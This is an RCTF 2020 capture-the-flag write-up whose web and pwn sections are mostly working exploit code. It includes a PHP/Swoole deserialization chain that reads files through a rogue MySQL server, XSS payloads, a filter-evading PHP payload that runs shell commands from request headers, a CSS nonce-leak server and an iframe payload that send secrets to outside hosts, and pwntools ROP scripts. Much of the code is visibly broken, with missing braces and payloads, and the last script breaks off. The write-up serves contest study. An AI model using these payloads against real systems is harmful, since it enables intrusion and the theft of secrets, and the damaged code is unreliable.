RCTF 2020 Official Writeup




Run the following code in Swoole to generate the payload:

function changeProperty ($object, $property, $value)
    $a = new ReflectionClass($object);
    $b = $a->getProperty($property);
    $b->setValue($object, $value);

// Part A

$c = new \Swoole\Database\PDOConfig();
$c->withHost('ROUGE_MYSQL_SERVER');    // your rouge-mysql-server host & port
    \PDO::MYSQL_ATTR_INIT_COMMAND => 'select 1'

$a = new \Swoole\ConnectionPool(function () { }, 0, '\\Swoole\\Database\\PDOPool');
changeProperty($a, 'size', 100);
changeProperty($a, 'constructor', $c);
changeProperty($a, 'num', 0);
changeProperty($a, 'pool', new \SplDoublyLinkedList());

// Part C

$d = unserialize(base64_decode('TzoyNDoiU3dvb2xlXERhdGFiYXNlXFBET1Byb3h5Ijo0OntzOjExOiIAKgBfX29iamVjdCI7TjtzOjIyOiIAKgBzZXRBdHRyaWJ1dGVDb250ZXh0IjtOO3M6MTQ6IgAqAGNvbnN0cnVjdG9yIjtOO3M6ODoiACoAcm91bmQiO2k6MDt9'));
// This's Swoole\Database\MysqliProxy
changeProperty($d, 'constructor', [$a, 'get']);

$curl = new \Swoole\Curl\Handler('http://www.baidu.com');
$curl->setOpt(CURLOPT_HEADERFUNCTION, [$d, 'reconnect']);
$curl->setOpt(CURLOPT_READFUNCTION, [$d, 'get']);

$ret = new \Swoole\ObjectProxy(new stdClass);
changeProperty($ret, '__object', [$curl, 'exec']);

$s = serialize($ret);
$s = preg_replace_callback('/s:(\d+):"\x00(.*?)\x00/', function ($a) {
    return 's:' . ((int)$a[1] - strlen($a[2]) - 2) . ':"';
}, $s);

echo $s;
echo "\n";


The only way I found which can pass arguments to function is this: https://github.com/swoole/library/blob/8eebda9cd87bf37164763b059922ab393802258b/src/core/ConnectionPool.php#L89

$connection = new $this->proxy($this->constructor);

I checked all constructors and only MySQL is useful, so this is a challenge around Swoole and Rouge MySQL Server. This payload have something amazing parts.

Part 1 – Rouge MySQL Server

Here’s a description of this code:

    \PDO::MYSQL_ATTR_INIT_COMMAND => 'select 1'

Let’s first review the principles of Rouge MySQL Server. When the client sends a COM_QUERY request to the server for a SQL query, if the server returns a Procotol::LOCAL_INFILE_Request, the client will read the local file and send it to the server. See https://dev.mysql.com/doc/internals/en/com-query-response.html#packet-Protocol::LOCAL_INFILE_Request.

This means, if the MySQL client is connected but didn’t send any query to the server, the client will not respond to the server’s LOCAL INFILE request at all. There are many clients, such as the MySQL command line, will query for various parameters once connected. But PHP’s MySQL client will do nothing after connection, so we need to configure the MySQL client with MYSQL_ATTR_INIT_COMMAND parameter and let it automatically send a SQL statement to the server after connection.

I found a bug in mysqli for Swoole, it will ignores all connection parameters. So only PDO can be used here.

Part 2 – SplDoublyLinkedList

Read the following code: https://github.com/swoole/library/blob/8eebda9cd87bf37164763b059922ab393802258b/src/core/ConnectionPool.php#L57

public function get()
    if ($this->pool->isEmpty() && $this->num < $this->size) {
    return $this->pool->pop();

public function put($connection): void
    if ($connection !== null) {

The type of $this->pool is Swoole\Coroutine\Channel, but it can’t be serialized. Fortunately, PHP have no runtime type checking for properties so we can find a serializable class which contains isEmpty push and pop method to replace it. SPL contains lots of classes look like this, you can replace SplDoublyLinkedList to SplStack, SplQueue, and so on.

Part 3 – curl

Let’s returning back to the payload and find the “Part C” comment. Try $a->get() here, it will return a Swoole\Database\PDOPool object. This is a connection pool, Swoole will not connect to MySQL until we try to get a connection from the pool. So we should use $a->get()->get() to connect to MySQL.

We have no way to call functions continuously. But check PDOProxy::reconnect(https://github.com/swoole/library/blob/8eebda9cd87bf37164763b059922ab393802258b/src/core/Database/PDOProxy.php#L88):

public function reconnect(): void
    $constructor = $this->constructor;

public function parent::__construct ($constructor)
    $this->__object = $object;

public function parent::__invoke(...$arguments)
    /** @var mixed $object */
    $object = $this->__object;
    return $object(...$arguments);

Thats means __object will be changed after reconnect, so we should find a way to do something like this:

$a->reconnect(); // Now $this->__object is PDOPool

Check curl, it allows exactly two different callbacks to be called.: https://github.com/swoole/library/blob/8eebda9cd87bf37164763b059922ab393802258b/src/core/Curl/Handler.php#L736

$cb = $this->headerFunction;
if ($client->statusCode > 0) {
    $row = "HTTP/1.1 {$client->statusCode} " . Status::getReasonPhrase($client->statusCode) . "\r\n";
    if ($cb) {
        $cb($this, $row);
    $headerContent .= $row;
// ...
if ($client->body and $this->readFunction) {
    $cb = $this->readFunction;
    $cb($this, $this->outputStream, strlen($client->body));

Part 4 – Inaccessible properties

Check the following code:

php > class A{public $b;protected $c;}
php > $b = new A();
php > var_dump(serialize($b));
php shell code:1:
string(35) "O:1:"A":2:{s:1:"b";N;s:4:"\000*\000c";N;}"
php >

The private/protected property name will be mangled with \x00 by zend_mangle_property_name. I banned \x00, how to bypass it?

Try the following code, it unmangled the property to make it public.

$s = preg_replace_callback('/s:(\d+):"\x00(.*?)\x00/', function ($a) {
    return 's:' . ((int)$a[1] - strlen($a[2]) - 2) . ':"';
}, $s);

In PHP < 7.2, the unserialized object will have two properties with the same name but different visibility:

php > var_dump($s);
string(32) "O:1:"A":2:{s:1:"b";N;s:1:"c";N;}"
php > var_dump(unserialize($s));
object(A)#2 (3) {

In PHP >= 7.2, PHP will handle property visibility changes. You can see this commit for detail: Fix #49649 – Handle property visibility changes on unserialization .

That is it.

Unintended Solution

Come from Nu1L. It has 2 tricks:

  • array_walk can be used in object.
  • exec is replaced by swoole_exec and have to use 2 array_walk to bypass it.
$o = new Swoole\Curl\Handlep("http://google.com/");
$o->setOpt(CURLOPT_FILE, "array_walk");
$o->exec = array('whoami');

$a = serialize([$o,'exec']);
echo str_replace("Handlep","Handler",urlencode(process_serialized($a)));

// process_serialized:
// use `S:` instead of `s:` to bypass \x00

rBlog 2020

Apparently the challenge “rBlog” is based on a blog service. Going through the provided source code, it’s easy to determine following interfaces:

  • User registration is closed, so the login and logout functions only work for admin(XSS bot);
  • highlight_word function in posts page takes user input and makes changes to DOM accordingly;
  • Anonymous user can create a feedback which can only be viewed by authenticated user(XSS bot);
  • Flag is in /posts/flag, also for authenticated user only.

Firstly let’s take a look into the feedback function.

for (let i of resp.data) {
    let params = new URLSearchParams()
    params.set('highlight', i.highlight_word)
    if (i.link.includes('/') || i.link.includes('\\')) {
        continue; // bye bye hackers uwu
    let a = document.createElement('a')
    a.href = `${i.link}?${params.toString()}`
    a.text = `${i.ip}: ${a.href}`
feedback_list.innerHTML = DOMPurify.sanitize(feedback_list.innerHTML)

A new feedback is sent in this way:

POST /posts/feedback HTTP/1.1
Host: rblog.rctf2020.rois.io
Connection: close
Content-Length: 61
Content-Type: application/x-www-form-urlencoded


When admin visits /posts/feedback to view the feedbacks, <a> tags is created like:

<a href="8dfaa99d-da9b-4e90-954e-0f97a6917b91?highlight=writeup">harmless texts...</a>

Since the feedback page is on route /pages/feedback, the relative URL will surely bring the admin to /pages/8dfaa99d-da9b-4e90-954e-0f97a6917b91?highlight=writeup, the right page. While the only restriction here is the postid should never contain any / or \, technically we now are able to create:

<a href="ANYTHING_BUT_SLASHES_OR_BACKSLASHES?highlight=ANYTHING">harmless texts...</a>

Generally we would come up with the idea of using javascript: to build a classical XSS here, but the DOM is sanitized by DOMPurify, no chance for javascript: today. As for data:html;base64,..., Chrome would refuses to navigate from http/https to data: via <a> tag. So let’s just leave it here for now and move on to the highlight_word function:

function highlight_word() {
    u = new URL(location)
    hl = u.searchParams.get('highlight') || ''
    if (hl) {
        // ban html tags
        if (hl.includes('<') || hl.includes('>') || hl.length > 36) {
            history.replaceState('', '', u.href)
            alert('⚠️ illegal highlight word')
        } else {
            // why the heck this only highlights the first occurrence? stupid javascript 😠
            // content.innerHTML = content.innerHTML.replace(hl, `<b class="hl">${hl}</b>`)
            hl_all = new RegExp(hl, 'g')
            replacement = `<b class="hl">${hl}</b>`
            post_content.innerHTML = post_content.innerHTML.replace(hl_all, replacement)
            let b = document.querySelector('b[class=hl]')
            if (b) {
                typeof b.scrollIntoViewIfNeeded === "function" ? b.scrollIntoViewIfNeeded() : b.scrollIntoView()

This function extracts the param highlight from current URL into variable hl, and replace all the occurrences in DOM with styled <b> tags. Zszz(众所周知/As we all know), if we pass a string as the first argument to String.replace(), only the first match will be replaced. To replace all matches, we need to pass a RegExp object with g (global) flag.

This is exactly how this highlighting function has been coded. We are able to modify the DOM with highlight param:

post_content.innerHTML.replace(/YOUR_HIGHLIGHT_WORDS/g, '<b class="hl">YOUR_HIGHLIGHT_WORDS</b>')

And here comes the tricky part: other than plain texts, the “replacement” could be a valid RegExp, which means we can do content injections like this:

The RegExp matches word do and replaces it with <b class="hl">do|LUL_CONTENT_INJECTION</b>. But how do we inject HTML tags? < or > are not allowed in hl ! If you ever read the docs of String.prototype.replace(), this table should raise your eyebrows:

You can really use those replacement patterns to introduce disallowed characters:

I crafted this payload with 19 out of 36 chars could be filled with javascript codes:


Now we get a reflected-XSS in highlight param, but obviously 36 chars are not enough to carry our payload to fetch the flag. So we need another legit trick here. You can actually find an interesting behavior with following codes:

If the href attribute starts with a different HTTP(s) protocol the current location is loaded with, it will not be recognized as a relative URL.

Finally we can create a feedback with postid http:DOMAIN_OR_IP:PORT which would lead the XSS bot to our own HTTP server when he clicks the <a> tag. Smuggle our payload in window.name and redirect to the reflected-XSS to eval(top.name).

Update: Some came up with this unintended solution exploiting the u.search and a longer postid:

POST /posts/feedback HTTP/1.1
Host: rblog.rctf2020.rois.io
Connection: close
Content-Length: 271
Content-Type: application/x-www-form-urlencoded

// prompt('500IQ')


This is based on RoarCTF-2019’s modSecurity, which modifies the original modSecurity breakthrough.

<?=(((1.1).(1)){1})?> // .
<?=(((-1).(1)){0})?> // -
<?=(((10000000000000000000).(1)){4});?> // +
<?=(((10000000000000000000).(1)){3});?> // E

You can use the above basic symbols to construct other characters through &, |, ~.

The problem is to interrupt the external network, and requires /readflag, that is, a shell is required for command execution.
There are several ways
* system(end(getallheaders()));
* system(file_get_contents(“php://input”)); //FROM More Smoked Leet Chicken
* Write the script content byte by byte to a file, and finally execute // many teams use this method

The following is the payload of system(end(getallheaders()));

$a ='';
$a .= ((((10000000000000000000).(1)){3})&(~(((1).(7)){1})|(((1).(0)){1}))|(((1).(3)){1}));
$a .= ((((10000000000000000000).(1)){3})&(~(((1).(7)){1})|(((1).(0)){1}))|(((1).(9)){1}));
$a .= ((((10000000000000000000).(1)){3})&(~(((1).(7)){1})|(((1).(0)){1}))|(((1).(3)){1}));
$a .= ((((10000000000000000000).(1)){3})&(~(((1).(7)){1})|(((1).(0)){1}))|(((1).(4)){1}));
$a .= (((10000000000000000000).(1)){3});
$a .= ((((10000000000000000000).(1)){3})|(((-1).(1)){0}));
echo $a; //systEm

$a ='';
$a .= (((10000000000000000000).(1)){3}); // E
$a .= (((((10000000000000000000).(1)){3})|(((1.1).(1)){1}))&((~(((1).(7)){1})|(((1).(0)){1}))|(((1).(6)){1}))); //n
$a .= ((((10000000000000000000).(1)){3})&((~(((1).(7)){1})|(((1).(0)){1}))|(((1).(6)){1}))); //D
echo $a; //EnD

<?php // getallheaders
$a ='';
$a .= ((((10000000000000000000).(1)){3})|(((1.1).(1)){1})&((~(((1).(8)){1})|(((1).(7)){1})))); // g
$a .= (((10000000000000000000).(1)){3}); // E
$a .= ((((10000000000000000000).(1)){3})&(~(((1).(7)){1})|(((1).(0)){1}))|(((1).(4)){1})); //T
$a .= ((((10000000000000000000).(1)){3})&((~(((1).(7)){1})|(((1).(0)){1}))|(((1).(1)){1}))); //a
$a .= (((((10000000000000000000).(1)){3})|(((1.1).(1)){1}))&((~(((1).(7)){1})|(((1).(0)){1}))|(((1).(4)){1}))); // l
$a .= (((((10000000000000000000).(1)){3})|(((1.1).(1)){1}))&((~(((1).(7)){1})|(((1).(0)){1}))|(((1).(4)){1}))); // l
$a .= (((((10000000000000000000).(1)){3})|(((1.1).(1)){1}))&((~(((1).(7)){1})|(((1).(0)){1}))|(((1).(0)){1}))); // h
$a .= (((10000000000000000000).(1)){3}); // E
$a .= ((((10000000000000000000).(1)){3})&((~(((1).(7)){1})|(((1).(0)){1}))|(((1).(1)){1}))); //a
$a .= ((((10000000000000000000).(1)){3})&((~(((1).(7)){1})|(((1).(0)){1}))|(((1).(4)){1}))); //D
$a .= (((10000000000000000000).(1)){3}); // E
$a .= ((((10000000000000000000).(1)){3})&(~(((1).(7)){1})|(((1).(0)){1}))|(((1).(2)){1})); // r
$a .= ((((10000000000000000000).(1)){3})&(~(((1).(7)){1})|(((1).(0)){1}))|(((1).(3)){1})); // s
echo $a;

Finally, a verification code of /readflag is required. Most players use Perl, which can also be executed by php -r "script".

php -r "eval(base64_decode('JHByb2Nlc3MgPSBwcm9jX29wZW4oDQogJy9yZWFkZmxhZycsDQogW1sicGlwZSIsICJyIl0sWyJwaXBlIiwgInciXSxbInBpcGUiLCAidyJdXSwkcGlwZXMNCik7DQpmcmVhZCgkcGlwZXNbMV0sIDEwMjQpOw0KJGV4cCA9IGZyZWFkKCRwaXBlc1sxXSwgMTAyNCk7DQokZXhwID0gZXhwbG9kZSgiXG4iLCAkZXhwKVswXTsNCmZ3cml0ZSgkcGlwZXNbMF0sIGV2YWwoInJldHVybiAkZXhwOyIpLiJcbiIpOw0KZWNobyBmcmVhZCgkcGlwZXNbMV0sIDEwMjQpOw0KZWNobyBmcmVhZCgkcGlwZXNbMV0sIDEwMjQpOw0KZWNobyBmcmVhZCgkcGlwZXNbMV0sIDEwMjQpOw0KZWNobyBmcmVhZCgkcGlwZXNbMV0sIDEwMjQpOw0K'));"

Finally combined

GET /calc.php?num=(((((10000000000000000000).(1))%7B3%7D)%26(~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(3))%7B1%7D)).((((10000000000000000000).(1))%7B3%7D)%26(~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(9))%7B1%7D)).((((10000000000000000000).(1))%7B3%7D)%26(~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(3))%7B1%7D)).((((10000000000000000000).(1))%7B3%7D)%26(~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(4))%7B1%7D)).(((10000000000000000000).(1))%7B3%7D).((((10000000000000000000).(1))%7B3%7D)%7C(((-1).(1))%7B0%7D)))(((((10000000000000000000).(1))%7B3%7D).(((((10000000000000000000).(1))%7B3%7D)%7C(((1.1).(1))%7B1%7D))%26((~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(6))%7B1%7D))).((((10000000000000000000).(1))%7B3%7D)%26((~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(6))%7B1%7D))))((((((10000000000000000000).(1))%7B3%7D)%7C(((1.1).(1))%7B1%7D)%26((~(((1).(8))%7B1%7D)%7C(((1).(7))%7B1%7D)))).(((10000000000000000000).(1))%7B3%7D).((((10000000000000000000).(1))%7B3%7D)%26(~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(4))%7B1%7D)).((((10000000000000000000).(1))%7B3%7D)%26((~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(1))%7B1%7D))).(((((10000000000000000000).(1))%7B3%7D)%7C(((1.1).(1))%7B1%7D))%26((~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(4))%7B1%7D))).(((((10000000000000000000).(1))%7B3%7D)%7C(((1.1).(1))%7B1%7D))%26((~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(4))%7B1%7D))).(((((10000000000000000000).(1))%7B3%7D)%7C(((1.1).(1))%7B1%7D))%26((~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(0))%7B1%7D))).(((10000000000000000000).(1))%7B3%7D).((((10000000000000000000).(1))%7B3%7D)%26((~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(1))%7B1%7D))).((((10000000000000000000).(1))%7B3%7D)%26((~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(4))%7B1%7D))).(((10000000000000000000).(1))%7B3%7D).((((10000000000000000000).(1))%7B3%7D)%26(~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(2))%7B1%7D)).((((10000000000000000000).(1))%7B3%7D)%26(~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(3))%7B1%7D)))()))%3B HTTP/1.1
z: php -r "eval(base64_decode('JHByb2Nlc3MgPSBwcm9jX29wZW4oDQogJy9yZWFkZmxhZycsDQogW1sicGlwZSIsICJyIl0sWyJwaXBlIiwgInciXSxbInBpcGUiLCAidyJdXSwkcGlwZXMNCik7DQpmcmVhZCgkcGlwZXNbMV0sIDEwMjQpOw0KJGV4cCA9IGZyZWFkKCRwaXBlc1sxXSwgMTAyNCk7DQokZXhwID0gZXhwbG9kZSgiXG4iLCAkZXhwKVswXTsNCmZ3cml0ZSgkcGlwZXNbMF0sIGV2YWwoInJldHVybiAkZXhwOyIpLiJcbiIpOw0KZWNobyBmcmVhZCgkcGlwZXNbMV0sIDEwMjQpOw0KZWNobyBmcmVhZCgkcGlwZXNbMV0sIDEwMjQpOw0KZWNobyBmcmVhZCgkcGlwZXNbMV0sIDEwMjQpOw0KZWNobyBmcmVhZCgkcGlwZXNbMV0sIDEwMjQpOw0K'));"


This question is a CSP gadget.
Source code

According to the above code, the embedded script tag in zepto will be automatically executed using eval, the verification method is toUpperCase, this function has a feature that can use ı instead of i. In the end, just use < scrıpt>js code can be executed.
You can use to get the administrator’s cookie. like



Part 1


The CSP is as follows:

The conventional XSS payload can not be bypassed.

But because of the .htaccess and the PHP backend implementation of CSP leads to us being able to inject at the CSP such as

You can refer to the following link to learn it:


however because I have filtered characters such as script, you cannot use methods such as script-src-attr or report to bypass script-src directly, so you need to leak the nonce first.


The XSS bot is using firefox 74.0 version, this version is amazing when the version is higher than 74.0 you will not be able to use this method of leak nonce because firefox removes the nonce when loading the dom, of course, this situation is greater than 60 in chrome version Will also happen. And there is also a little knowledge point. When there is a CSP, if we want to leak nonce, we can not directly use script [nonce ^ = "a"] to attack like this. We must use other selectors as a part such as script [nonce ^ = "% s "] ~ nav.

So in the case of filtering keywords such as url, we can use import to import external css for leak attack, you can refer to the following article:


In the end we can compose the following script:

const compression = require('compression')
const express = require('express');
const cssesc = require('cssesc');
const spdy = require('spdy');
const fs = require('fs');

const app = express();
app.set('etag', false);

const SESSIONS = {};

const POLLING_ORIGIN = `https://example.com:3000`;
const LEAK_ORIGIN = `https://example.com:3000`;

function urlencode(s) {
    return encodeURIComponent(s).replace(/'/g, '%27');

function createSession(length = 150) {
    let resolves = [];
    let promises = [];
    for (let i = 0; i < length; ++i) {
        promises[i] = new Promise(resolve => resolves[i] = resolve);
    return { promises, resolves };

const CHARSET = Array.from('1234567890/=+QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm');
app.get('/polling/:session/:index', async (req, res) => {
    let { session, index } = req.params;
    index = parseInt(index);
    if (index === 0 || !(session in SESSIONS)) {
        SESSIONS[session] = createSession()

    res.set('Content-Type', 'text/css');
    res.set('Cache-Control', 'no-cache');

    let knownValue = await SESSIONS[session].promises[index];

    const ret = CHARSET.map(char => {
        return `script[nonce^="${cssesc(knownValue+char)}"] ~ a { background: url("${LEAK_ORIGIN}/leak/${session}/${urlencode(knownValue+char)}")}`;



app.get('/leak/:session/:value', (req, res) => {
    let { session, value } = req.params;
    console.log(`[${session}] Leaked value: ${value}`);


app.get('/generate', (req, res) => {
    const length = req.query.len || 100;
    const session = Math.random().toString(36).slice(2);

    res.set('Content-type', 'text/plain');
    for (let i = 0; i < length; ++i) {
        res.write(`<style>@import '${POLLING_ORIGIN}/polling/${session}/${i}';</style>\n`);

const options = {
    key: fs.readFileSync('/etc/ssl/private/private.key'),
    cert:  fs.readFileSync('/etc/ssl/certs/full_chain.pem')

const PORT = 3000;
spdy.createServer(options, app).listen(PORT, () => console.log(`Example app listening on port ${PORT}!`))

And construct the following payload:


And send the following url to the administrator:

 /s example:3000;style-src * 'unsafe-inline';/?action=post&id=9842371276eafb47f7d0ad7befa3ee25

Next you will receive a nonce from the administrator:

Part 2

Method I

Due to the toString filtering of the front end, we can not directly obtain the flag function, originally we can use uneval or toSource function to bypass in the firefox browser, but here firefox74.0 has played a role, but in versions higher than 74.0, toSource and uneval functions are disabled, I hooked the uneval function to leave a trap for CTFer, so that they did not find this secret so quickly, because of my windows.uneval = noop is too simple, I guess it may Someone will try to bypass it.

The conventional method is to use iframe to obtain the pure toString function to bypass, but this time due to the front end hook filtered src :

So we must first bypass it, My idea is to achieve the bypass effect by overwriting:

RegExp.prototype.test = function(){return false};


However, due to the existence of sandbox, iframes are not homologous, so we can not include the flag function in the parent window. But by including the flag function in the iframe and using the pure toString method in the iframe, we can bypass it. then we can obtain the flag function and take the flag function out, of course due to the existence of csp We also need to inject a csp like this frame-src *

so the final payload is as follows:

<script nonce=bc36554eab55edbbbc04c995d733085a>RegExp.prototype.test = function(){return false};var a ="<ifra".concat("me sr","cdoc='\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x31\x32\x34\x2e\x31\x35\x36\x2e\x31\x33\x39\x2e\x32\x33\x38\x2f\x66\x6c\x61\x67\x2e\x70\x68\x70\x3f\x66\x3d\x31\x22\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e\x3c\x73\x63\x72\x69\x70\x74\x20\x6e\x6f\x6e\x63\x65\x3d\x62\x63\x33\x36\x35\x35\x34\x65\x61\x62\x35\x35\x65\x64\x62\x62\x62\x63\x30\x34\x63\x39\x39\x35\x64\x37\x33\x33\x30\x38\x35\x61\x3e\x6c\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x68\x72\x65\x66\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x78\x73\x73\x2e\x6d\x75\x73\x65\x6c\x6a\x68\x2e\x6c\x69\x76\x65\x2f\x3f\x63\x6f\x6f\x6b\x69\x65\x3d\x22\x2b\x67\x65\x74\x5f\x73\x65\x63\x72\x65\x74\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e'>");document.body.innerHTML=a;</script>

And send the following url to the administrator:

/;frame-src *;/?action=post&id=0aaf916cbd820bafc4c88fab90e0130f

You will get the flag following:


Method 2

We were able to execute the code arbitrarily on the post page, but found that the js in the post replaced almost all functions that could be called with noop. We can’t create elements, at most, we can modify some existing elements, and we can’t set src or srcdoc properties. And the target, flag.php?f, opens to find that it’s in the form of a function, which suggests that we need to introduce it as code. How to import scripts without using src, after a search it was found that the internal script in svg uses xlink:href to specify the script path, we can use innerHTML to dynamically inject a svg in. And since the filtering in the iframe is much looser relative to the outside (just noop out Function.prototype.toString and toSource), there’s another layer of iframe outside svg. By iframe.src="data:..."Specify the contents of the iframe so that the src property disappears after the iframe is specified and does not violate the src limitation. This will be achieved as follows.

The SVG part, which introduces the flag and uses the SVG inline image to make requests to external image resources to bring in outbound data.

<svg id="ss" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200px" height="200px" viewBox="0 0 200 200">
<image id="daiwai" width="50px" height="50px" xlink:href=""></image> <circle cx="50" cy="50" r="50"></circle>
 <script xlink:href=""></script><script nonce="bc36554eab55edbbbc04c995d733085a">
console.log(get_secret.toString()) </script>  </svg>

Use script to insert the encoded svg into an iframe and submit the whole as content. Some of the content is blocked out by WAF, bypassed with simple string splices.

<div id="place"></div>
<script nonce="bc36554eab55edbbbc04c995d733085a">
place.innerHTML='<ifr'+'ame id="target"></ifr'+'ame>';

Submit the url to the bot and the CSP injects image-src * and frame-src data:.

/ *;frame-src    data:     /  ?action=post&id=8354a6e9e4ad66938a83b034c04c1585

Finally, the server received the following results.




A brain fuck interpreter written by c++, the structure that program used :

struct brain_fck{
    char data[0x400];   // data
    string code;    // brain fuck code

'>' op caused off_by_one

The compare condition is v21 > &v25 not >=,so we can read or modify the brain_fck.code’s lowbit.

brain_fck.code is a string,string class almost look like(Of course, I omitted most of the class ):

class string{
    char* ptr;
    size_t len;
    char buf[0x10];

string class will put the characters in the buf when string.length() less then 16,it means ptr pointer to itself ‘s buf; And it will use malloc when the string length large or equal 16.

As we can modify the brain_fck.code’s lowbit,it means we can modify brain_fck.code.ptr to arbitrary write and read.

Because the brain_fck.code is in stack in the first, we just make sure that the brain fuck code we input length less then 16 to make the brain_fck.code.ptr point to stack memory instead of heap.

So a basic exploit as follows:

  • leak brain_fck.code.ptr’s lowbit
  • leak stack and libc address
  • modify ret value of main function
  • hijack it with ROP


from pwn import *
import sys

context.arch = 'amd64'

def write_low_bit(low_bit,offset):
    p.recvuntil("enter your code:\n")
    p.recvuntil("your code: ")
    p.recvuntil("enter your code:\n")

def main(host,port=6002):
    global p
    if host:
        p = remote(host,port)
        p = process("./bf")

        # gdb.attach(p)
    # leak low_bit
    p.recvuntil("enter your code:\n")
    low_bit = ord(p.recv(1))
    if low_bit + 0x70 >= 0x100: # :(
    # debug(0x000000000001C47)

    # leak stack
    p.recvuntil("enter your code:\n")
    p.recvuntil("your code: ")
    stack = u64(p.recvuntil("\n",drop=True).ljust(8,"\x00")) - 0xd8
    info("stack : " + hex(stack))
    # leak libc

    p.recvuntil("enter your code:\n")
    p.recvuntil("your code: ")
    libc.address = u64(p.recvuntil("\n",drop=True).ljust(8,"\x00")) - 0x21b97
    info("libc : " + hex(libc.address))

    # do rop

    # 0x00000000000a17e0: pop rdi; ret;
    # 0x00000000001306d9: pop rdx; pop rsi; ret;
    p_rdi = 0x00000000000a17e0 + libc.address
    p_rdx_rsi = 0x00000000001306d9 + libc.address
    ret = 0x00000000000d3d8a + libc.address
    p_rax = 0x00000000000439c8 + libc.address
    syscall_ret = 0x00000000000d2975 + libc.address

    rop_chain = [

    rop_chain_len = len(rop_chain)

    for i in range(rop_chain_len-1,0,-1):
        p.recvuntil("enter your code:\n")


    p.recvuntil("enter your code:\n")

    payload = "/flag".ljust(0x30,'\x00')
    payload += flat([



if __name__ == "__main__":
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
    # elf = ELF("./bf",checksec=False)


read the flag and use exit code to leak it one by one.

vm structure:

typedef struct{
    uint64_t r0;
    uint64_t r1;
    uint64_t r2;
    uint64_t r3;
    uint64_t r4;
    uint64_t r5;
    uint64_t r6;
    uint64_t r7;
    uint64_t* rsp;
    uint64_t* rbp;
    uint8_t* pc;
    uint32_t stack_size;
    uint32_t stack_cap;

vm instruction:

    OP_ADD = 0, //add
    OP_SUB,     //sub
    OP_MUL,     //mul
    OP_DIV,     //div
    OP_MOV,     //mov
    OP_JSR,     //jump register
    OP_AND,     //bitwise and
    OP_XOR,     //bitwise xor
    OP_OR,      //bitwise or
    OP_NOT,     //bitwise not
    OP_PUSH,    //push
    OP_POP,     //pop
    OP_JMP,     //jump
    OP_ALLOC,   //alloc new stack
    OP_NOP,     //nop

The program first reads an instruction of 0x1000 length, then checks whether the instruction is legal or not, and passes the number of instructions together to the run_vm function, and run_vm function start to execute the instruction.

There are no check with JMP and JSR instruction in the check_instruction function,and look at the init_vm function:

vm->stack is allocated after vm->pc,it means vm->stack at high address,so we can push the instruction into stack first and jmp to stack to run the instruction that not be checked. Now we can use MOV instruction to arbitrary read and write.

So a basic exploit as follows:

  • push the instruction into stack and jmp to stack to run it
  • Reduce the size of the chunk where the vm->stack is located so that it doesn’t merge with top_chunk after free, and we can use the remaining libc address on the heap
  • Use ADD,SUB and MOV instruction to arbitrary write,modify __free_hook to setcontext+53
  • trigger free to hijack it


from pwn import *


def debug(addr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
        gdb.attach(p,"b *{}".format(hex(addr)))

def push_code(code):
    padding = 0 if (len(code)%8 == 0) else 8 - (len(code)%8)
    c = code+p8(instr["nop"])*padding   # align 8
    push_count = len(c)/8
    sc = (p8(instr["push"])+p8(1)+p64(0x21))*(0xf6-push_count)
    for i in range(push_count-1,-1,-1):
        sc += p8(instr["push"])+p8(1)+p64(u64(c[i*8:i*8+8]))
    return sc

def main(host,port=6001):
    global p
    if host:
        # debug(0x000000000000F66)
    flag = ''
    for i in range(0x40):
        p = remote(host,port)
        code = p8(instr["mov"])+p8(8)+p8(0)+p8(9)           # mov r0,rbp
        code += p8(instr["add"])+p8(1)+p8(1)+p64(0x701)     # add r1,0x701
        code += p8(instr["sub"])+p8(1)+p8(0)+p64(0x808)     # sub r0,0x800
        code += p8(instr["mov"])+p8(32)+p8(0)+p8(1)         # mov [r0],r1 ; overwrite chunk size
        code += p8(instr["alloc"])+p32(0x400)               # alloc(0x400) ; free chunk
        code += p8(instr["add"])+p8(1)+p8(0)+p64(8)         # add r0,0x8
        code += p8(instr["mov"])+p8(16)+p8(2)+p8(0)         # mov r2,[r0]
        code += p8(instr["sub"])+p8(1)+p8(2)+p64(0x3ec140)  # sub r2,0x3ec140 ; r2 --> libc_base
        code += p8(instr["mov"])+p8(8)+p8(3)+p8(2)          # mov r3,r2
        code += p8(instr["add"])+p8(1)+p8(3)+p64(libc.symbols["__free_hook"])       
                                                            # add r3,libc.symbols["__free_hook"]
        code += p8(instr["mov"])+p8(8)+p8(4)+p8(2)          # mov r4,r2
        code += p8(instr["add"])+p8(1)+p8(4)+p64(libc.symbols["setcontext"]+0x35)
                                                            # add r4,libc.symbols["setcontext"]+0x35
        code += p8(instr["mov"])+p8(32)+p8(3)+p8(4)         # mov [r3],r4 ; overwrite chunk size

